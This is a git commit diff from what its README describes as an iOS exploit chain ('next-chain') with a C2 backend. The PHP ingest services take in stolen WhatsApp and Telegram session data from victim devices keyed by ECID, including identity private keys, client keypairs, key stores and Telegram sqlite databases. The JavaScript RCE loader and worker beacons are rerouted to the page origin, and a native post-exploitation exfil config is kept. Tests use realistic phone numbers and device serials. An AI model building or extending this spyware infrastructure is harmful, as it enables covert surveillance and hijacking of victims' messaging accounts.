feat: ds
This commit is contained in:
@@ -62,14 +62,14 @@ class DecryptXxbbBody
|
||||
}
|
||||
|
||||
if (is_array($payload)) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
foreach (['d', 'f', 'ecid'] as $k) {
|
||||
if (! empty($payload[$k]) && is_string($payload[$k])) {
|
||||
$deviceKey = $payload[$k];
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (isset($payload['form']) && is_array($payload['form']) && ($deviceKey === null || $deviceKey === '')) {
|
||||
foreach (['d', 'f'] as $k) {
|
||||
foreach (['d', 'f', 'ecid'] as $k) {
|
||||
if (! empty($payload['form'][$k]) && is_string($payload['form'][$k])) {
|
||||
$deviceKey = $payload['form'][$k];
|
||||
break;
|
||||
|
||||
@@ -48,6 +48,7 @@ class IngestService
|
||||
}
|
||||
$candidates[] = $payload['d'] ?? null;
|
||||
$candidates[] = $payload['f'] ?? null;
|
||||
$candidates[] = $payload['ecid'] ?? null;
|
||||
$candidates[] = $payload['deviceID'] ?? null;
|
||||
$candidates[] = $payload['deviceId'] ?? null;
|
||||
|
||||
@@ -541,12 +542,51 @@ class IngestService
|
||||
*/
|
||||
public function ingestWhatsAppAuth(Device $device, ?array $payload): void
|
||||
{
|
||||
$payload = $this->normalizeWhatsAppPayload($payload);
|
||||
$this->upsertPluginSession($device, PluginSession::KIND_WHATSAPP, $payload, [
|
||||
'userId', 'phoneId', 'registrationID',
|
||||
'identity', 'identityPrivateKey', 'identityPublicKey',
|
||||
'clientStaticKeypairBase64', 'phoneKeyStore',
|
||||
'deviceConfig', 'whatsappVersion',
|
||||
], ['userId', 'user_id']);
|
||||
'deviceConfig', 'whatsappVersion', 'nickname',
|
||||
], ['userId', 'user_id', 'account']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Live wap.js: {account, data: json-string, ecid}. Older builds send keys at the top level.
|
||||
*
|
||||
* @param array<string, mixed>|null $payload
|
||||
* @return array<string, mixed>|null
|
||||
*/
|
||||
private function normalizeWhatsAppPayload(?array $payload): ?array
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return $payload;
|
||||
}
|
||||
|
||||
$data = $payload['data'] ?? null;
|
||||
if (is_string($data) && $data !== '') {
|
||||
$decoded = json_decode($data, true);
|
||||
if (is_array($decoded)) {
|
||||
$payload = array_merge($decoded, $payload);
|
||||
}
|
||||
}
|
||||
|
||||
foreach (['phoneKeyStore', 'deviceConfig', 'userId'] as $key) {
|
||||
$value = $payload[$key] ?? null;
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$inner = json_decode($value, true);
|
||||
if (json_last_error() === JSON_ERROR_NONE) {
|
||||
$payload[$key] = $inner;
|
||||
}
|
||||
}
|
||||
|
||||
if (! array_key_exists('userId', $payload) && isset($payload['account'])) {
|
||||
$payload['userId'] = $payload['account'];
|
||||
}
|
||||
|
||||
return $payload;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -627,7 +667,7 @@ class IngestService
|
||||
}
|
||||
}
|
||||
$phone = $kind === PluginSession::KIND_WHATSAPP
|
||||
? $this->scalarToString($payload['userId'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
|
||||
? $this->scalarToString($payload['userId'] ?? $payload['account'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
|
||||
: null;
|
||||
|
||||
PluginSession::query()->updateOrCreate(
|
||||
|
||||
@@ -2,8 +2,9 @@
|
||||
|
||||
`source/` 是 one99/raw 的利用树。构建只做 C2 主机字符串替换,再拷到 `public/next-chain`。
|
||||
|
||||
**资源域名不配置:** 页面用当前 weifile 的 `location.origin + /next-chain`。
|
||||
**C2 可配置:** `php artisan ds:build --c2 …` 改 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` `/beacon` `/war` `/stats`。
|
||||
**页面请求不跨域:** 浏览器里发出的 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` 一律用当前页面 `location.origin`。
|
||||
**资源域名不配置:** 静态资源用当前 weifile 的 `location.origin + /next-chain`。
|
||||
**C2 可配置:** `php artisan ds:build --c2 …` 只改 native PE 的 `/beacon` `/war` `/stats` 和 `NEWS2_CONFIG.exfil`(CFNetwork 回连),不影响页面 XHR。
|
||||
|
||||
weifile(本身已是 iframe)按 iOS 路由后直接 `loadScript` `config.js` + `boot.js`,不再套一层 iframe。渠道 ID 与 weifile 相同:`/channel/X.Y.ZZ/`。
|
||||
|
||||
|
||||
@@ -54,26 +54,19 @@
|
||||
return origin + path.replace(/\/+$/, '');
|
||||
}
|
||||
|
||||
function apiBase() {
|
||||
try {
|
||||
var ex = (window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
|
||||
? window.__LAB_EXFIL__
|
||||
: ((window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) || null);
|
||||
if (ex && ex.host) {
|
||||
var tls = !!(ex.tls || ex.prefer_https);
|
||||
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
|
||||
if (!tls && port === 443) { tls = true; }
|
||||
var origin = (tls ? 'https://' : 'http://') + hostOnly(ex.host);
|
||||
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
|
||||
return origin;
|
||||
}
|
||||
} catch (e0) {}
|
||||
function pageOrigin() {
|
||||
try {
|
||||
if (location.origin && location.origin !== 'null') return trimSlash(location.origin);
|
||||
} catch (e1) {}
|
||||
} catch (e) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
// Browser XHR/fetch only — always the page origin so /api/ds/* stays same-origin.
|
||||
// NEWS2_CONFIG.exfil / __LAB_EXFIL__ remain for native PE, not page APIs.
|
||||
function apiBase() {
|
||||
return pageOrigin();
|
||||
}
|
||||
|
||||
function applyExfil(ex) {
|
||||
if (!ex || !ex.host) return;
|
||||
window.__LAB_EXFIL__ = {
|
||||
|
||||
@@ -27,23 +27,10 @@ function labAssetBase() {
|
||||
return '';
|
||||
}
|
||||
function labApiBase() {
|
||||
try {
|
||||
var ex = (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
|
||||
? window.__LAB_EXFIL__
|
||||
: (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil);
|
||||
if (ex && ex.host) {
|
||||
var tls = !!(ex.tls || ex.prefer_https);
|
||||
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
|
||||
if (!tls && port === 443) { tls = true; }
|
||||
var origin = (tls ? 'https://' : 'http://') + String(ex.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
|
||||
return origin;
|
||||
}
|
||||
} catch (e0) {}
|
||||
try {
|
||||
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
|
||||
return String(location.origin).replace(/\/$/, '');
|
||||
} catch (e1) {}
|
||||
} catch (e0) {}
|
||||
return '';
|
||||
}
|
||||
var localHost = labAssetBase();
|
||||
|
||||
@@ -215,7 +215,11 @@ self[1] = boxed_arr;
|
||||
let logEntryID = 0;
|
||||
var __labC2Host = '';
|
||||
function labC2LogUrl(qs) {
|
||||
var base = __labC2Host;
|
||||
var base = '';
|
||||
try {
|
||||
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
|
||||
base = String(location.origin).replace(/\/$/, '');
|
||||
} catch (_e0) {}
|
||||
if (!base) {
|
||||
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
|
||||
}
|
||||
|
||||
@@ -24,7 +24,11 @@ let __printBudget = 60;
|
||||
let __printWindowStart = 0;
|
||||
var __labExfilUrl = '';
|
||||
function labC2LogUrl(qs) {
|
||||
var base = __labExfilUrl;
|
||||
var base = '';
|
||||
try {
|
||||
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
|
||||
base = String(location.origin).replace(/\/$/, '');
|
||||
} catch (_e0) {}
|
||||
if (!base) {
|
||||
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
|
||||
}
|
||||
|
||||
@@ -17,7 +17,11 @@ let logStart = new Date().getTime();
|
||||
let logEntryID = 0;
|
||||
var __labC2Host = '';
|
||||
function labC2LogUrl(qs) {
|
||||
var base = __labC2Host;
|
||||
var base = '';
|
||||
try {
|
||||
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
|
||||
base = String(location.origin).replace(/\/$/, '');
|
||||
} catch (_e0) {}
|
||||
if (!base) {
|
||||
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
|
||||
}
|
||||
|
||||
@@ -81,6 +81,19 @@ class BuildTest(unittest.TestCase):
|
||||
self.assertEqual(ep.origin, "https://lab.example:8443")
|
||||
self.assertEqual(ep.url, "https://lab.example:8443/next-chain")
|
||||
|
||||
def test_page_apis_use_location_origin(self) -> None:
|
||||
root = TOOLS.parent / "source"
|
||||
boot = (root / "boot.js").read_text(encoding="utf-8")
|
||||
loader = (root / "rce_loader.js").read_text(encoding="utf-8")
|
||||
worker = (root / "rce_worker_18.5.js").read_text(encoding="utf-8")
|
||||
self.assertIn("function pageOrigin()", boot)
|
||||
self.assertIn("function apiBase() {\n return pageOrigin();", boot)
|
||||
self.assertNotIn("window.__LAB_EXFIL__", boot.split("function apiBase()")[1].split("function applyExfil")[0])
|
||||
self.assertIn("location.origin", loader.split("function labApiBase()")[1].split("function resolveLabDeviceUUID")[0])
|
||||
self.assertNotIn("__LAB_EXFIL__", loader.split("function labApiBase()")[1].split("function resolveLabDeviceUUID")[0])
|
||||
self.assertIn("location.origin", worker.split("function labC2LogUrl")[1].split("function print")[0])
|
||||
self.assertNotIn("__labExfilUrl", worker.split("function labC2LogUrl")[1].split("function print")[0])
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
|
||||
@@ -402,6 +402,29 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function api_tg_t_ingests_ecid_envelope(): void
|
||||
{
|
||||
$this->xxbbPost('/api/tg/t', [
|
||||
'ecid' => '00025D800C22001E',
|
||||
'unique' => '00008101-00025D800C22001E',
|
||||
'serial' => 'G0NDX83M0D5D',
|
||||
'channel' => 'b78e30542d4d290f72685e97639a9b05',
|
||||
'user_id' => '37603278499',
|
||||
'state' => '{"records":[]}',
|
||||
'db_sqlite' => base64_encode('not-a-real-sqlite'),
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '00025D800C22001E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$row = PluginSession::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind);
|
||||
$this->assertSame('37603278499', $row->account_id);
|
||||
$this->assertSame('37603278499', $row->payload['user_id'] ?? null);
|
||||
$this->assertArrayHasKey('db_sqlite', $row->payload);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function api_wp_t_ingests_whatsapp_session(): void
|
||||
{
|
||||
@@ -431,6 +454,36 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function api_wp_t_ingests_account_data_envelope(): void
|
||||
{
|
||||
$this->xxbbPost('/api/wp/t', [
|
||||
'account' => '2348034472071',
|
||||
'ecid' => '0006345E0A09002E',
|
||||
'unique' => '00008020-0006345E0A09002E',
|
||||
'serial' => 'DX3YJA00KXKQ',
|
||||
'channel' => 'b78e30542d4d290f72685e97639a9b05',
|
||||
'data' => json_encode([
|
||||
'userId' => '2348034472071',
|
||||
'phoneId' => 'phone-id-live',
|
||||
'clientStaticKeypairBase64' => 'QUJD',
|
||||
'phoneKeyStore' => json_encode(['preKeys' => [], 'signedPreKey' => ['id' => 1]]),
|
||||
'nickname' => 'wa-nick',
|
||||
], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '0006345E0A09002E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$row = PluginSession::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind);
|
||||
$this->assertSame('2348034472071', $row->account_id);
|
||||
$this->assertSame('2348034472071', $row->phone);
|
||||
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
|
||||
$this->assertSame('wa-nick', $row->payload['nickname'] ?? null);
|
||||
$this->assertIsArray($row->payload['phoneKeyStore'] ?? null);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function event_stores_sms_phone_number(): void
|
||||
{
|
||||
|
||||
@@ -48,6 +48,20 @@ class IngestServiceNormalizeTest extends TestCase
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function extract_device_key_reads_ecid(): void
|
||||
{
|
||||
$ingest = $this->app->make(IngestService::class);
|
||||
$this->assertSame(
|
||||
'0006345E0A09002E',
|
||||
$ingest->extractDeviceKey([
|
||||
'account' => '2348034472071',
|
||||
'ecid' => '0006345E0A09002E',
|
||||
'unique' => '00008020-0006345E0A09002E',
|
||||
])
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function decode_hex_counter_pair_splits_idx_ftu(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user